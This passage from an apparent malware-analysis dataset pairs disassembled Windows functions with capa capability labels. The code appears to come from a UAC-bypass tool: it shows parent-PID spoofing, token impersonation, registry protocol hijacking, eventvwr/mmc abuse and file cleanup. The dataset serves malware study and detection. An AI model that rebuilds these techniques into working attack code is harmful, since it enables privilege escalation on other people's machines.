joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016843
Capabilities:
Delete file

Disassembly:
jmp 0x1400217d0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x738
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x136
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x758]
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x708], rax
lea rcx, [0x14007cbd0]
call fcn.140016b68
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x64], 0xc0000022
mov qword [rbp + 0x88], 0
lea rcx, [rbp + 0x88]
call fcn.140016546
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jge 0x14002185a
mov eax, dword [rbp + 0x64]
jmp 0x140021991
mov dword [rbp + 0x64], 0xc0000022
mov r9d, 1
lea r8, str.Wow64LogMessageArgList
mov edx, dword [rbp + 0x738]
mov rcx, qword [rbp + 0x730]
call fcn.1400166bd
test eax, eax
jne 0x140021889
jmp 0x140021958
mov edx, 0x410
lea rcx, [rbp + 0xb0]
call fcn.140016825
mov rax, qword [0x140073c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.1400161f9
lea rdx, str.hui32
lea rcx, [rbp + 0xb0]
call fcn.140016af0
lea rdx, str..exe
lea rcx, [rbp + 0xb0]
call fcn.140016af0
mov r8d, dword [rbp + 0x738]
mov rdx, qword [rbp + 0x730]
lea rcx, [rbp + 0xb0]
call fcn.14001612c
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140021901
jmp 0x140021958
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x140021919
jmp 0x140021958
lea rdx, [rbp + 0x44]
mov rcx, 0xfffffffffffffffe
call fcn.140016334
test eax, eax
jne 0x14002192f
jmp 0x140021958
cmp dword [rbp + 0x44], 2
jge 0x140021937
jmp 0x140021958
lea rcx, [rbp + 0xb0]
call fcn.140016bb3
test eax, eax
je 0x14002194e
mov dword [rbp + 0x64], 0
xor eax, eax
test eax, eax
jne 0x14002185a
cmp dword [rbp + 0x24], 0
je 0x140021964
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp qword [rbp + 0x88], 0
je 0x14002197b
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 4], 0
je 0x14002198e
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 0x64]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14004a030]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x708]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x718]
pop rdi
pop rbp
ret
Function at 0x14001685c
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x1400213f0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x128]
lea rcx, [0x14007cacf]
call fcn.140016b68
nop
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x44504355
je 0x140021470
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x55504355
je 0x140021470
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x43504355
je 0x140021470
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4b504355
je 0x140021470
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0xc]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov dword [rax + 0xc], 0
mov r8d, 0x20
mov rdx, qword [rbp + 0x100]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlComputeCrc32]
cmp eax, dword [rbp + 4]
je 0x1400214a9
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
cmp dword [rax + 4], 0
je 0x1400214c3
mov rax, qword [rbp + 0x100]
cmp dword [rax + 8], 0
jne 0x1400214c7
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
mov ecx, dword [rbp + 0x108]
cmp dword [rax + 4], ecx
jbe 0x1400214dd
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
mov ecx, dword [rbp + 0x108]
cmp dword [rax + 8], ecx
jbe 0x1400214f3
xor eax, eax
jmp 0x140021518
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x100]
mov ecx, dword [rcx + 4]
cmp dword [rax + 8], ecx
jbe 0x14002150d
xor eax, eax
jmp 0x140021518
jmp 0x140021513
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400498e0]
call fcn.1400169a6
mov rax, rdi
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001687f
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x140030b80
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x14007d5db]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000001
mov qword [rbp + 0x28], 0x30
mov edx, 0x18
lea rcx, [rbp + 0xd8]
call fcn.140016825
mov edx, 0x70
lea rcx, [rbp + 0x50]
call fcn.140016825
mov dword [rbp + 0x50], 0x70
cmp qword [rbp + 0x28], 0x400
jbe 0x140030c12
jmp 0x140030d50
mov rcx, qword [rbp + 0x28]
call fcn.140016695
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
je 0x140030d41
lea r9, [rbp + 0x28]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x140030d1e
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x140030d1e
mov dword [rbp + 0x8c], 1
mov eax, 5
mov word [rbp + 0x90], ax
mov rax, qword [0x140073c58]
add rax, 0x68
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140030d1e
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
cmp qword [rbp + 0xb8], 0
je 0x140030d35
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 0xb8]
call fcn.140016c1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x140030c03
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x140059160]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x14001689d
Capabilities:
Terminate process

Disassembly:
jmp 0x14003a630
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14007db67]
call fcn.140016b68
mov dword [rbp + 4], 0
mov r9d, dword [rbp + 0x138]
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call fcn.140016118
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14003a6d1
cmp dword [rbp + 0x140], 0
je 0x14003a6c0
mov edx, dword [rbp + 0x140]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14003a6c0
mov edx, 0x102
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 1
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400168a7
Capabilities:
Access pe header

Disassembly:
jmp 0x14003c040
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14007db67]
call fcn.140016b68
mov edx, dword [rbp + 0x148]
mov rcx, qword [rbp + 0x140]
call fcn.140016668
mov dword [rbp + 0x44], eax
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14003c09c
mov rax, qword [rbp + 8]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x24], eax
jmp 0x14003c0a5
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x44], eax
jne 0x14003c0b9
mov dword [rbp + 0x114], 1
jmp 0x14003c0c3
mov dword [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14001691f
Capabilities:
Delete file

Disassembly:
jmp 0x14002a4b0
push rbp
push rdi
sub rsp, 0x6f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x126
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x6c8], rax
lea rcx, [0x14007d0d4]
call fcn.140016b68
mov rax, qword [0x140073c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400161f9
lea rcx, [rbp + 0x30]
call fcn.1400162a3
mov qword [rbp + 8], rax
lea rdx, str.kmkze.msc
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0x410
jae 0x14002a555
jmp 0x14002a55a
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x698]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.readme.html
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0x410
jae 0x14002a59f
jmp 0x14002a5a4
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x6b8]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.osk.exe
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140052950]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x6c8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x6d8]
pop rdi
pop rbp
ret
Function at 0x140016924
Capabilities:
Delete registry value

Disassembly:
jmp 0x140038e00
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x248]
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140038f5a
mov dword [rbp + 0x68], 0x30
mov qword [rbp + 0x70], 0
mov dword [rbp + 0x80], 0x40
lea rax, [rbp + 0x118]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140038f4d
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140038f43
mov rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret

Function at 0x140016942
Capabilities:
Delete file

Disassembly:
jmp 0x140031590
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x14007d6df]
call fcn.140016b68
mov edx, 0x410
lea rcx, [rbp + 0x10]
call fcn.140016825
mov rax, qword [0x140073c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400161f9
lea rdx, str.update.msu
lea rcx, [rbp + 0x10]
call fcn.140016af0
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x20]
lea rdx, [0x1400593a0]
call fcn.1400169a6
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x1400169ba
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140021330
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14007cacf]
call fcn.140016b68
cmp qword [rbp + 0x140], 0
je 0x14002136b
cmp dword [rbp + 0x148], 0
jne 0x14002136d
jmp 0x1400213bb
mov eax, dword [rbp + 0x150]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
movzx eax, byte [rax]
xor eax, dword [rbp + 4]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov eax, dword [rbp + 4]
rol eax, 1
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14002138a
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400169c4
Capabilities:
Delete file
Get common file path

Disassembly:
jmp 0x14002b020
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x778
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x146
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x798]
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x748], rax
lea rcx, [0x14007d1da]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov r9, qword [rbp + 0x770]
lea r8, str.pe386
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140064d50]
call fcn.1400164e2
test eax, eax
jge 0x14002b0c6
jmp 0x14002b204
mov rcx, qword [rbp + 0x88]
call fcn.1400162a3
lea rax, [rax + rax + 0x208]
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xc8]
call fcn.140016695
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14002b103
jmp 0x14002b204
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xa8]
call fcn.1400161f9
lea rdx, str.MicrosoftEvent_ViewerRecentViews
mov rcx, qword [rbp + 0xa8]
call fcn.140016af0
mov rax, qword [0x140073c58]
cmp dword [rax + 8], 0x23f0
jae 0x14002b14d
lea rax, [0x140053030]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x20eb
jmp 0x14002b15f
lea rax, [0x140052aa0]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x583
mov r9d, 0x7a7a7a7a
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0xa8]
call fcn.140016023
test eax, eax
jne 0x14002b182
jmp 0x14002b204
mov rax, qword [0x140073c58]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400161f9
lea rdx, str.mmc.exe
lea rcx, [rbp + 0xf0]
call fcn.140016af0
mov r9d, 5
xor r8d, r8d
lea rdx, str.eventvwr.msc
lea rcx, [rbp + 0xf0]
call fcn.140016118
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14002b1fa
mov edx, 0xc350
lea rcx, str.mmc.exe
call fcn.1400169f1
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002b08e
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp qword [rbp + 0xa8], 0
je 0x14002b234
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0xa8]
call fcn.140016c1c
xor r9d, r9d
lea r8, str.pe386
xor edx, edx
mov ecx, 1
call fcn.1400160d7
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x748]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x758]
pop rdi
pop rbp
ret
Function at 0x140016a69
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
jmp 0x1400399c0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xa78
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1d6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa98]
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0xa48], rax
lea rcx, [0x14007db67]
call fcn.140016b68
mov dword [rbp + 4], 1
mov dword [rbp + 0x24], 1
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call fcn.1400165af
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x140039a68
mov r8d, 0x104
lea rdx, [0x140062648]
lea rcx, [rbp + 0x2c0]
call fcn.140016983
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0xffffffffffffffff
je 0x140039b48
cmp dword [rbp + 4], 0
je 0x140039b48
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x90]
call fcn.1400165af
mov r8d, 0x104
lea rdx, [rbp + 0x51c]
lea rcx, [rbp + 0x90]
call fcn.140016983
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
je 0x140039b15
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x51c]
cmp eax, 0x2e
je 0x140039b15
lea rcx, [rbp + 0x90]
call fcn.140016a69
test eax, eax
jne 0x140039b06
mov dword [rbp + 0x24], 0
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140039b2f
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
jne 0x140039b2f
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x4f0]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [rbp + 4], eax
jmp 0x140039a80
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x140039b84
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140039b84
mov dword [rbp + 0x24], 0
mov eax, dword [rbp + 0x24]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140061b20]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0xa48]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0xa58]
pop rdi
pop rbp
ret
Function at 0x140016a6e
Capabilities:
Set registry value

Disassembly:
jmp 0x140027a60
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, [0x14007cdd2]
call fcn.140016b68
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea rdx, [rbp + 8]
xor ecx, ecx
call fcn.14001675d
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140027ad5
mov eax, dword [rbp + 0x44]
jmp 0x140027c58
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ms_windows_store
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140027b50
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
xor r8d, r8d
lea rdx, str.URL_Protocol
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.ms_windows_store
lea rcx, [rbp + 0x90]
call fcn.1400161f9
lea rdx, str._shellopen
lea rcx, [rbp + 0x90]
call fcn.140016af0
lea rdx, [0x14004d560]
lea rcx, [rbp + 0x90]
call fcn.140016af0
lea rdx, str.command
lea rcx, [rbp + 0x90]
call fcn.140016af0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140027c44
mov rcx, qword [rbp + 0x450]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x450]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14004d75c]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140027c31
mov dword [rbp + 0x44], 0
jmp 0x140027c38
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140027c4b
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [rbp + 0x44]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004ccd0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret
Function at 0x140016ac3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
jmp 0x14001f0b0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xbe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x140073340]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x14007c7c9]
call fcn.140016b68
mov dword [rbp + 4], 0
mov r9, qword [rbp + 0x4a8]
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x490]
call fcn.1400167f3
test eax, eax
je 0x14001f13e
mov eax, 1
jmp 0x14001f254
mov rcx, qword [rbp + 0x490]
call fcn.1400162a3
add rax, 0x108
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
shl rax, 1
mov rcx, rax
call fcn.140016695
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001f175
xor eax, eax
jmp 0x14001f254
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x68]
call fcn.1400161f9
mov r8, qword [rbp + 0x28]
lea rdx, [0x1400454ec]
mov rcx, qword [rbp + 0x68]
call fcn.140016983
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
je 0x14001f248
mov eax, dword [rbp + 0x90]
and eax, 0x10
test eax, eax
je 0x14001f225
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0xbc]
cmp eax, 0x2e
je 0x14001f225
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x68]
call fcn.1400161f9
lea rdx, [rbp + 0xbc]
mov rcx, qword [rbp + 0x68]
call fcn.140016af0
mov r9, qword [rbp + 0x4a8]
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x68]
call fcn.140016ac3
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001f225
jmp 0x14001f23e
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
